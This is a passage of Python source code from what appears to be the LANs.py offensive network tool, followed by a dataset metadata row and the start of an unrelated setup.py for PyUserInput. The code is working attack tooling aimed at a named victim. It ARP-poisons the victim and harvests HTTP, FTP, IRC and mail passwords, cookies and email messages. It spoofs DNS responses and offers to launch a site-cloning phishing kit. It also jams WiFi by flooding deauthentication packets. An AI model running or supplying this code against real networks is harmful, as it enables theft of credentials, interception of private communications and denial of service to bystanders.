password = re.findall(pw_regex, body)
self.user_pass(username, password)
self.cookies(host, header_lines)
def http_parser(self, load, ack, dport):
load = repr(load)[1:-1]
# Catch fragmented HTTP posts
if dport == 80 and load != '':
if ack == self.oldHTTPack:
self.oldHTTPload = self.oldHTTPload + load
load = self.oldHTTPload
self.HTTPfragged = 1
else:
self.oldHTTPload = load
self.oldHTTPack = ack
self.HTTPfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
host = self.get_host(header_lines)
get = self.get_get(header_lines)
post = self.get_post(header_lines)
url = self.get_url(host, get, post)
# print urls
if url:
#Print the URL
if self.args.verboseURL:
print '[*] ' + url
logger.write('[*] ' + url + '\n')
if self.args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in url for i in d):
return
if len(url) > 146:
print '[*] ' + url[:145]
logger.write('[*] ' + url[:145] + '\n')
else:
print '[*] ' + url
logger.write('[*] ' + url + '\n')
# Print search terms
if self.args.post or self.args.urlspy:
self.searches(url, host)
#Print POST load and find cookies
if self.args.post and post:
self.post_parser(url, body, host, header_lines)
def ftp(self, load, IP_dst, IP_src):
load = repr(load)[1:-1].replace(r"\r\n", "")
if 'USER ' in load:
print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
if 'PASS ' in load:
print R + '[!] FTP ' + load + ' SERVER: ' + IP_dst + W
logger.write('[!] FTP ' + load + ' SERVER: ' + IP_dst + '\n')
if 'authentication failed' in load:
print R + '[*] FTP ' + load + W
logger.write('[*] FTP ' + load + '\n')
def irc(self, load, dport, sport, IP_src):
load = repr(load)[1:-1].split(r"\r\n")
if self.args.post:
if IP_src == victimIP:
if 'NICK ' in load[0]:
self.IRCnick = load[0].split('NICK ')[1]
server = load[1].replace('USER user user ', '').replace(' :user', '')
print R + '[!] IRC username: ' + self.IRCnick + ' on ' + server + W
logger.write('[!] IRC username: ' + self.IRCnick + ' on ' + server + '\n')
if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1]
print R + '[!] IRC password: ' + ircpass + W
logger.write('[!] IRC password: ' + ircpass + '\n')
if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1]
print C + '[+] IRC joined: ' + W + join
logger.write('[+] IRC joined: ' + join + '\n')
if 'PART ' in load[0]:
part = load[0].split('PART ')[1]
print C + '[+] IRC left: ' + W + part
logger.write('[+] IRC left: ' + part + '\n')
if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1]
print C + '[+] IRC quit: ' + W + quit
logger.write('[+] IRC quit: ' + quit + '\n')
# Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]:
if IP_src == victimIP:
load = load[0].split('PRIVMSG ')[1]
channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '':
print C + '[+] IRC victim ' + W + self.IRCnick + C + ' to ' + W + channel + C + ': ' + ircmsg + W
logger.write('[+] IRC ' + self.IRCnick + ' to ' + channel + ': ' + ircmsg + '\n')
else:
print C + '[+] IRC msg to ' + W + channel + C + ': ' + ircmsg + W
logger.write('[+] IRC msg to ' + channel + ':' + ircmsg + '\n')
# Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '':
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0]
ircmsg = load[1]
print C + '[+] IRC ' + W + sender_nick + C + ' to ' + W + channel + C + ': ' + ircmsg[1:] + W
logger.write('[+] IRC ' + sender_nick + ' to ' + channel + ': ' + ircmsg[1:] + '\n')
except Exception:
return
def cookies(self, host, header_lines):
for x in header_lines:
if 'Cookie:' in x:
if x in self.Cookies:
return
elif 'safebrowsing.clients.google.com' in host:
return
else:
self.Cookies.append(x)
print P + '[+] Cookie found for ' + W + host + P + ' logged in LANspy.log.txt' + W
logger.write('[+] Cookie found for' + host + ':' + x.replace('Cookie: ', '') + '\n')
def user_pass(self, username, password):
if username:
for u in username:
print R + '[!] Username found: ' + u[1] + W
logger.write('[!] Username: ' + u[1] + '\n')
if password:
for p in password:
if p[1] != '':
print R + '[!] Password: ' + p[1] + W
logger.write('[!] Password: ' + p[1] + '\n')
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
load = repr(load)[1:-1]
# Catch fragmented mail packets
if ack == self.oldmailack:
if load != r'.\r\n':
self.oldmailload = self.oldmailload + load
load = self.oldmailload
self.mailfragged = 1
else:
self.oldmailload = load
self.oldmailack = ack
self.mailfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords
if dport in [25, 26, 110, 143]:
self.passwords(IP_src, load, dport, IP_dst)
# Find outgoing messages
if dport == 26 or dport == 25:
self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages
if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers, sport, dport)
def passwords(self, IP_src, load, dport, IP_dst):
load = load.replace(r'\r\n', '')
if dport == 143 and IP_src == victimIP and len(load) > 15:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.IMAPauth = 0
self.IMAPdest = ''
return
print R + '[!] IMAP user and pass found: ' + load + W
logger.write('[!] IMAP user and pass found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.IMAPauth = 0
self.IMAPdest = ''
if "authenticate plain" in load:
self.IMAPauth = 1
self.IMAPdest = IP_dst
if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R + '[!] POP user and pass found: ' + load + W
logger.write('[!] POP user and pass found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.POPauth = 0
self.POPdest = ''
if 'AUTH PLAIN' in load:
self.POPauth = 1
self.POPdest = IP_dst
if dport == 26:
if 'AUTH PLAIN ' in load:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R + '[!] Mail authentication found: ' + load + W
logger.write('[!] Mail authentication found: ' + load + '\n')
self.mail_passwds.append(load)
self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if 'Message-ID' in headers:
for l in header_lines:
for x in email_headers:
if x in l:
self.OheadersFound.append(l)
# if date, from, to, in headers then print the message
if len(self.OheadersFound) > 3 and body != '':
if self.mailfragged == 1:
print O + '[!] OUTGOING MESSAGE (fragmented)' + W
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
for x in self.OheadersFound:
print O + ' ', x + W
logger.write(' ' + x + '\n')
print O + ' Message:', body + W
logger.write(' Message:' + body + '\n')
else:
print O + '[!] OUTGOING MESSAGE' + W
logger.write('[!] OUTGOING MESSAGE\n')
for x in self.OheadersFound:
print O + ' ', x + W
logger.write(' ' + x + '\n')
print O + ' Message:', body + W
logger.write(' Message:' + body + '\n')
self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers, sport, dport):
message = ''
for l in header_lines:
for x in email_headers:
if x in l:
self.IheadersFound.append(l)
if len(self.IheadersFound) > 3 and body != '':
if "BODY[TEXT]" not in body:
try:
beginning = body.split(r"\r\n", 1)[0]
body1 = body.split(r"\r\n\r\n", 1)[1]
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except Exception:
return
if message != '':
if self.mailfragged == 1:
print O + '[!] INCOMING MESSAGE (fragmented)' + W
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
for x in self.IheadersFound:
print O + ' ' + x + W
logger.write(' ' + x + '\n')
print O + ' Message: ' + message + W
logger.write(' Message: ' + message + '\n')
else:
print O + '[!] INCOMING MESSAGE' + W
logger.write('[!] INCOMING MESSAGE\n')
for x in self.IheadersFound:
print O + ' ' + x + W
logger.write(' ' + x + '\n')
print O + ' Message: ' + message + W
logger.write(' Message: ' + message + '\n')
self.IheadersFound = []
def decode(self, load, dport):
decoded = ''
if dport == 25 or dport == 26:
try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except Exception:
pass
else:
try:
b64str = load
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except Exception:
pass
# Test to see if decode worked
if '@' in decoded:
print R + '[!] Decoded:' + decoded + W
logger.write('[!] Decoded:' + decoded + '\n')
# Spoof DNS for a specific domain to point to your machine
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if self.args.dnsspoof:
if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
elif self.args.dnsall:
if self.args.redirectto:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
else:
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
p = IP(dst=IP_src, src=IP_dst) / UDP(dport=sport, sport=dport) / DNS(id=dns_layer.id, qr=1, aa=1,
qd=dns_layer.qd,
an=DNSRR(rrname=dns_layer.qd.qname, ttl=10,
rdata=rIP))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))
if self.args.dnsspoof:
print G + '[!] Sent spoofed packet for ' + W + self.args.dnsspoof + G + ' to ' + W + rIP
logger.write('[!] Sent spoofed packet for ' + self.args.dnsspoof + G + ' to ' + rIP + '\n')
elif self.args.dnsall:
print G + '[!] Sent spoofed packet for ' + W + dns_layer[DNSQR].qname[:-1] + G + ' to ' + W + rIP
logger.write('[!] Sent spoofed packet for ' + dns_layer[DNSQR].qname[:-1] + ' to ' + rIP + '\n')
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
class Queued(object):
def __init__(self, args):
self.q = nfqueue.queue()
self.q.set_callback(Parser(args).start)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data'
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(500) # if I lower this to, say, 5, it hurts injection's reliability
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queued'
class active_users():
IPandMAC = []
start_time = time.time()
current_time = 0
monmode = ''
def pkt_cb(self, pkt):
if pkt.haslayer(Dot11):
pkt = pkt[Dot11]
if pkt.type == 2:
addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()]
for x in addresses:
for y in self.IPandMAC:
if x in y[1]:
y[2] = y[2] + 1
self.current_time = time.time()
if self.current_time > self.start_time + 1:
self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True) # sort by data packets
os.system('/usr/bin/clear')
print '[*] ' + T + 'IP address' + W + ' and ' + R + 'data packets' + W + ' sent/received'
print '---------------------------------------------'
for x in self.IPandMAC:
if len(x) == 3:
ip = x[0].ljust(16)
data = str(x[2]).ljust(5)
print T + ip + W, R + data + W
else:
ip = x[0].ljust(16)
data = str(x[2]).ljust(5)
print T + ip + W, R + data + W, x[3]
print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP'
self.start_time = time.time()
def users(self, IPprefix, routerIP):
print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix
iplist = []
maclist = []
try:
nmap = Popen(['nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
nmap = nmap.communicate()[0]
nmap = nmap.splitlines()[2:-1]
except Exception:
print '[-] Nmap ARP ping failed, is nmap installed?'
for x in nmap:
if 'Nmap' in x:
pieces = x.split()
nmapip = pieces[len(pieces) - 1]
nmapip = nmapip.replace('(', '').replace(')', '')
iplist.append(nmapip)
if 'MAC' in x:
nmapmac = x.split()[2]
maclist.append(nmapmac)
zipped = zip(iplist, maclist)
self.IPandMAC = [list(item) for item in zipped]
# Make sure router is caught in the arp ping
r = 0
for i in self.IPandMAC:
i.append(0)
if r == 0:
if routerIP == i[0]:
i.append('router')
routerMAC = i[1]
r = 1
if r == 0:
exit('[-] Router MAC not found. Exiting.')
# Do nbtscan for windows netbios names
print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix
try:
nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
nbt = nbt.communicate()[0]
nbt = nbt.splitlines()
nbt = nbt[4:]
except Exception:
print '[-] nbtscan error, are you sure it is installed?'
for l in nbt:
try:
l = l.split()
nbtip = l[0]
nbtname = l[1]
except Exception:
print '[-] Could not find any netbios names. Continuing without them'
if nbtip and nbtname:
for a in self.IPandMAC:
if nbtip == a[0]:
a.append(nbtname)
# Start monitor mode
print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
try:
promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
promisc = promiscSearch.communicate()[0]
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
self.monmode = monmodeSearch.group(1)
except Exception:
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
#Print all the variables
def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[*] Active interface: " + interface
print "[*] DHCP server: " + DHCPsrvr
print "[*] DNS server: " + dnsIP
print "[*] Local domain: " + local_domain
print "[*] Router IP: " + routerIP
print "[*] Victim IP: " + victimIP
logger.write("[*] Router IP: " + routerIP + '\n')
logger.write("[*] victim IP: " + victimIP + '\n')
#Enable IP forwarding and flush possibly conflicting iptables rules
def setup(victimMAC):
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
# Just throw packets that are from and to the victim into the reactor
os.system(
'/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
# To catch DNS packets you gotta do prerouting rather than forward for some reason?
os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as ipf:
ipf.write('1\n')
print '[*] Enabled IP forwarding'
return ipf.read()
# Start threads
def threads(args):
rt = Thread(target=reactor.run,
args=(False,)) #reactor must be started without signal handling since it's not in the main thread
rt.daemon = True
rt.start()
if args.driftnet:
dr = Thread(target=os.system,
args=('/usr/bin/xterm -e /usr/bin/driftnet -i ' + interface + ' >/dev/null 2>&1',))
dr.daemon = True
dr.start()
if args.dnsspoof and not args.setoolkit:
setoolkit = raw_input(
'[*] You are DNS spoofing ' + args.dnsspoof + ', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
if setoolkit == 'y':
print '[*] Starting SEtoolkit. To clone ' + args.dnsspoof + ' hit options 1, 2, 3, 2, then enter ' + args.dnsspoof
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except Exception:
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
if args.nmapaggressive:
print '[*] Starting ' + R + 'aggressive scan [nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + ']' + W + ' in background; results will be in a file ' + victimIP + '.nmap.txt'
try:
n = Thread(target=os.system, args=(
'nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + '.nmap.txt ' + victimIP + ' >/dev/null 2>&1',))
n.daemon = True
n.start()
except Exception:
print '[-] Aggressive Nmap scan failed, is nmap installed?'
if args.setoolkit:
print '[*] Starting SEtoolkit'
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except Exception:
print '[-] Could not open SEToolkit, continuing without it.'
def pcap_handler(args):
global victimIP
bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface]
for x in bad_args:
if x:
exit(
'[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
if args.pcap:
if args.ipaddress:
victimIP = args.ipaddress
pcap = rdpcap(args.pcap)
for payload in pcap:
Parser(args).start(payload)
exit('[-] Finished parsing pcap file')
else:
exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
else:
exit(
'[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
# Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close()
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
forward.write(ipf)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5)
#################################
####End LANs.py Code#############
################################
################################
#####Start wifijammer Code######
###############################
clients_APs = []
APs = []
lock = Lock()
monitor_on = None
mon_MAC = ""
first_pass = 1
def wifijammerMain(args):
confirmJam = raw_input("Are you sure you want to jam WiFi? This may be illegal in your area. (y/n)")
if "n" in confirmJam:
exit("Program cancelled.")
print("Ok. Jamming.")
mon_iface = get_mon_iface(args)
conf.iface = mon_iface
mon_MAC = mon_mac(mon_iface)
# Start channel hopping
hop = Thread(target=channel_hop, args=(mon_iface, args))
hop.daemon = True
hop.start()
signal(SIGINT, stop)
try:
sniff(iface=mon_iface, store=0, prn=cb)
except Exception as msg:
remove_mon_iface(mon_iface)
print '\n[' + R + '!' + W + '] Closing'
sys.exit(0)
def get_mon_iface(args):
global monitor_on
monitors, interfaces = iwconfig()
if args.interface:
monitor_on = True
return args.interface
if len(monitors) > 0:
monitor_on = True
return monitors[0]
else:
# Start monitor mode on a wireless interface
print '[' + G + '*' + W + '] Finding the most powerful interface...'
interface = get_iface(interfaces)
monmode = start_mon_mode(interface)
return monmode
def iwconfig():
monitors = []
interfaces = {}
DN = open(os.devnull, 'w')
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if len(line) == 0: continue # Isn't an empty string
if line[0] != ' ': # Doesn't start with space
wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
if not wired_search: # Isn't wired
iface = line[:line.find(' ')] # is the interface
if 'Mode:Monitor' in line:
monitors.append(iface)
elif 'IEEE 802.11' in line:
if "ESSID:\"" in line:
interfaces[iface] = 1
else:
interfaces[iface] = 0
return monitors, interfaces
def get_iface(interfaces):
scanned_aps = []
DN = open(os.devnull, 'w')
if len(interfaces) < 1:
sys.exit('[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again')
if len(interfaces) == 1:
for interface in interfaces:
return interface
# Find most powerful interface
for iface in interfaces:
count = 0
proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if ' - Address:' in line: # first line in iwlist scan for a new AP
count += 1
scanned_aps.append((count, iface))
print '[' + G + '+' + W + '] Networks discovered by ' + G + iface + W + ': ' + T + str(count) + W
try:
interface = max(scanned_aps)[1]
print '[' + G + '+' + W + '] ' + interface + " chosen. Is this ok? [Enter=yes] "
input = raw_input()
if input == "" or input == "y" or input == "Y" or input.lower() == "yes":
return interface
else:
interfaceInput = raw_input("What interface would you like to use instead? ")
if interfaceInput in interfaces:
return interfaceInput
else:
print '[' + R + '!' + W + '] Exiting: Invalid Interface!'
except Exception as e:
for iface in interfaces:
interface = iface
print '[' + R + '-' + W + '] Minor error:', e
print ' Starting monitor mode on ' + G + interface + W
return interface
def start_mon_mode(interface):
print '[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W
try:
os.system('ifconfig %s down' % interface)
os.system('iwconfig %s mode monitor' % interface)
os.system('ifconfig %s up' % interface)
return interface
except Exception:
sys.exit('[' + R + '-' + W + '] Could not start monitor mode')
def remove_mon_iface(mon_iface):
os.system('ifconfig %s down' % mon_iface)
os.system('iwconfig %s mode managed' % mon_iface)
os.system('ifconfig %s up' % mon_iface)
def mon_mac(mon_iface):
'''
http://stackoverflow.com/questions/159137/getting-mac-address
'''
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
print '[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W
return mac
def channel_hop(mon_iface, args):
'''
First time it runs through the channels it stays on each channel for 5 seconds
in order to populate the deauth list nicely. After that it goes as fast as it can
'''
global monchannel, first_pass
DN = open(os.devnull, 'w')
channelNum = 0
err = None
while 1:
if args.channel:
with lock:
monchannel = args.channel
else:
channelNum += 1
if channelNum > 11:
channelNum = 1
with lock:
first_pass = 0
with lock:
monchannel = str(channelNum)
proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
for line in proc.communicate()[1].split('\n'):
if len(line) > 2: # iw dev shouldnt display output unless there's an error
err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W
output(err, monchannel)
if args.channel:
time.sleep(.05)
else:
# For the first channel hop thru, do not deauth
if first_pass == 1:
time.sleep(1)
continue
deauth(monchannel)
def deauth(monchannel):
'''
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
multi-APs to one gateway. Constantly scans the clients_APs list and
starts a thread to deauth each instance
'''
pkts = []
if len(clients_APs) > 0:
with lock:
for x in clients_APs:
client = x[0]
ap = x[1]
ch = x[2]
# Can't add a RadioTap() layer as the first layer or it's a malformed
# Association request packet?
# Append the packets to a new list so we don't have to hog the lock
# type=0, subtype=12?
if ch == monchannel:
deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth()
deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client) / Dot11Deauth()
pkts.append(deauth_pkt1)
pkts.append(deauth_pkt2)
if len(APs) > 0:
if not args.directedonly:
with lock:
for a in APs:
ap = a[0]
ch = a[1]
if ch == monchannel:
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth()
pkts.append(deauth_ap)
if len(pkts) > 0:
# prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
if not args.timeinterval:
args.timeinterval = 0
if not args.packets:
args.packets = 1
for p in pkts:
send(p, inter=float(args.timeinterval), count=int(args.packets))
def output(err, monchannel):
os.system('clear')
mon_iface = get_mon_iface(args)
if err:
print err
else:
print '[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n'
if len(clients_APs) > 0:
print ' Deauthing ch ESSID'
# Print the deauth list
with lock:
for ca in clients_APs:
if len(ca) > 3:
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(
2) + ' - ' + T + ca[3] + W
else:
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2]
if len(APs) > 0:
print '\n Access Points ch ESSID'
with lock:
for ap in APs:
print '[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W
print ''
def noise_filter(skip, addr1, addr2):
# Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:',
mon_MAC]
if skip:
ignore.append(skip)
for i in ignore:
if i in addr1 or i in addr2:
return True
def cb(pkt):
'''
Look for dot11 packets that aren't to or from broadcast address,
are type 1 or 2 (control, data), and append the addr1 and addr2
to the list of deauth targets.
'''
global clients_APs, APs
# return these if's keeping clients_APs the same or just reset clients_APs?
# I like the idea of the tool repopulating the variable more
if args.maximum:
if args.noupdate:
if len(clients_APs) > int(args.maximum):
return
else:
if len(clients_APs) > int(args.maximum):
with lock:
clients_APs = []
APs = []
# We're adding the AP and channel to the deauth list at time of creation rather
# than updating on the fly in order to avoid costly for loops that require a lock
if pkt.haslayer(Dot11):
if pkt.addr1 and pkt.addr2:
# Filter out all other APs and clients if asked
if args.accesspoint:
if args.accesspoint not in [pkt.addr1, pkt.addr2]:
return
# Check if it's added to our AP list
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
APs_add(clients_APs, APs, pkt, args.channel)
# Ignore all the noisy packets like spanning tree
if noise_filter(args.skip, pkt.addr1, pkt.addr2):
return
# Management = 1, data = 2
if pkt.type in [1, 2]:
clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
def APs_add(clients_APs, APs, pkt, chan_arg):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
try:
# Thanks to airoscapy for below
ap_channel = str(ord(pkt[Dot11Elt:3].info))
# Prevent 5GHz APs from being thrown into the mix
chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
if ap_channel not in chans:
return
if chan_arg:
if ap_channel != chan_arg:
return
except Exception as e:
return
if len(APs) == 0:
with lock:
return APs.append([bssid, ap_channel, ssid])
else:
for b in APs:
if bssid in b[0]:
return
with lock:
return APs.append([bssid, ap_channel, ssid])
def clients_APs_add(clients_APs, addr1, addr2):
if len(clients_APs) == 0:
if len(APs) == 0:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
else:
AP_check(addr1, addr2)
# Append new clients/APs if they're not in the list
else:
for ca in clients_APs:
if addr1 in ca and addr2 in ca:
return
if len(APs) > 0:
return AP_check(addr1, addr2)
else:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
def AP_check(addr1, addr2):
for ap in APs:
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
with lock:
return clients_APs.append([addr1, addr2, ap[1], ap[2]])
def stop(signal, frame):
if monitor_on:
sys.exit('\n[' + R + '!' + W + '] Closing')
else:
remove_mon_iface(mon_iface)
sys.exit('\n[' + R + '!' + W + '] Closing')
#############################
#####End wifijammer Code#####
#############################
if __name__ == "__main__":
if not os.geteuid() == 0:
exit("\nPlease run as root\n")
logger = open('LANspy.log.txt', 'w+')
DN = open(os.devnull, 'w')
args = parse_args()
if args.pcap:
pcap_handler(args)
exit('[-] Finished parsing pcap file')
if args.skip is not None or args.channel is not None or args.maximum is not None or args.noupdate is not False or args.timeinterval is not None or args.packets is not None or args.directedonly is not False or args.accesspoint is not None:
###If wifijammer arguments are given
if args.beef is not None or args.code is not None or args.urlspy is not False or args.ipaddress is not None or args.victimmac is not None or args.driftnet is not False or args.verboseURL is not False or args.dnsspoof is not None or args.dnsall is not False or args.setoolkit is not False or args.post is not False or args.nmapaggressive is not False or args.nmap is not False or args.redirectto is not None or args.routerip is not None or args.routermac is not None or args.pcap is not None:
###If LANs.py arguments are given
###Both LANs.py arguments and wifijammer arguments are given. This will not work since wifijammer jams the network that LANs.py is trying to monitor
exit('Error. Cannot jam WiFi and monitor WiFi simultaneously')
if args.beef is not None or args.code is not None or args.urlspy is not False or args.ipaddress is not None or args.victimmac is not None or args.driftnet is not False or args.verboseURL is not False or args.dnsspoof is not None or args.dnsall is not False or args.setoolkit is not False or args.post is not False or args.nmapaggressive is not False or args.nmap is not False or args.redirectto is not None or args.routerip is not None or args.routermac is not None or args.pcap is not None:
###If LANs.py arguments are given, then run as LANs.py
LANsMain(args)
else:
###If no LANs.py arguments are given, then run as wifijammer (expected behavior of jamming wifi when no arguments given is continued)
wifijammerMain(args)
| 68,412 | Python | .py | 1,437 | 34.881698 | 499 | 0.522002 | DanMcInerney/LANs.py | 2,580 | 495 | 17 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,857 | setup.py | SavinaRoja_PyUserInput/setup.py | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import os
import sys
def long_description():
readme = os.path.join(os.path.dirname(__file__), 'README.md')
with open(readme, 'r') as inf:
readme_text = inf.read()
return(readme_text)
setup(name='PyUserInput',
version='0.1.10',
description='A simple, cross-platform module for mouse and keyboard control',
long_description=long_description(),
author='Paul Barton',
#Original author of PyMouse: Pepijn de Vos
